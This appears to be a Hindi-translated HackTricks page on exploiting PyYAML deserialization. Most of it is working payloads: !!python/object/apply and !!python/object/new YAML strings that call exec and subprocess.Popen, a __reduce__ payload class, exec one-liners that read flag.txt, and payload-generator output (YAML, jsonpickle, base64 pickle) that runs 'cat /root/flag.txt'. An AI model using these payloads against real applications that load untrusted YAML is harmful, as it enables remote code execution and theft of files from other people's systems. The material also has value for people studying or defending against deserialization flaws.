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Yaml डिसीरियलाइज़ेशन

Yaml python पुस्तकालय भी पायथन ऑब्जेक्ट्स को सिर्फ रॉ डेटा को नहीं सिरियलाइज़ करने की क्षमता रखती है:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

जांचें कि tuple एक कच्चा प्रकार का डेटा नहीं है और इसलिए इसे सिरीकरण किया गया था। और यही हुआ range के साथ भी (builtins से लिया गया)।

safe_load() या safe_load_all() SafeLoader का उपयोग करते हैं और क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करते। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

पिछला कोड unsafe_load का उपयोग करता था जिससे सीरीयलाइज्ड पायथन क्लास लोड किया जाता था। यह इसलिए है क्योंकि संस्करण >= 5.1 में, यह किसी भी सीरीयलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को डीसीरियलाइज़ करने की अनुमति नहीं देता है, Loader not specified in load() or Loader=SafeLoader।

मूल शोषण

नींद लागू करने के लिए एक उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

वंलरेबल .load("<content>") लोडर के बिना

पुराने संस्करणों में pyyaml डेसीरियलाइजेशन हमलों के लिए वंलरेबल थे अगर आप कुछ लोड करते समय लोडर स्पष्ट नहीं किया: yaml.load(data)

आप यहाँ वंलरेबिलिटी का विवरण पा सकते हैं. उस पृष्ठ में प्रस्तावित एक्स्प्लॉइट है:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

या आप इस वन-लाइनर का उपयोग भी कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

नोट करें कि हाल के संस्करणों में आप अब .load() को नहीं कह सकते हैं बिना Loader और FullLoader इस हमले के लिए अब असंरक्षित नहीं है।

RCE

कस्टम payloads को बनाने के लिए Python YAML modules जैसे PyYAML या ruamel.yaml का उपयोग किया जा सकता है। ये payloads सिस्टम में दोषों का शिकार हो सकते हैं जो असंरक्षित इनपुट को डिसीरियलाइज करते हैं बिना उचित सेनिटाइजेशन के।

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

उपकरण पेलोड बनाने के लिए

यह उपकरण https://github.com/j0lt-github/python-deserialization-attack-payload-generator का उपयोग किया जा सकता है ताकि Pickle, PyYAML, jsonpickle और ruamel.yaml का दुरुपयोग करने के लिए पायथन डिसीरियलाइज़ेशन पेलोड उत्पन्न किया जा सके:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

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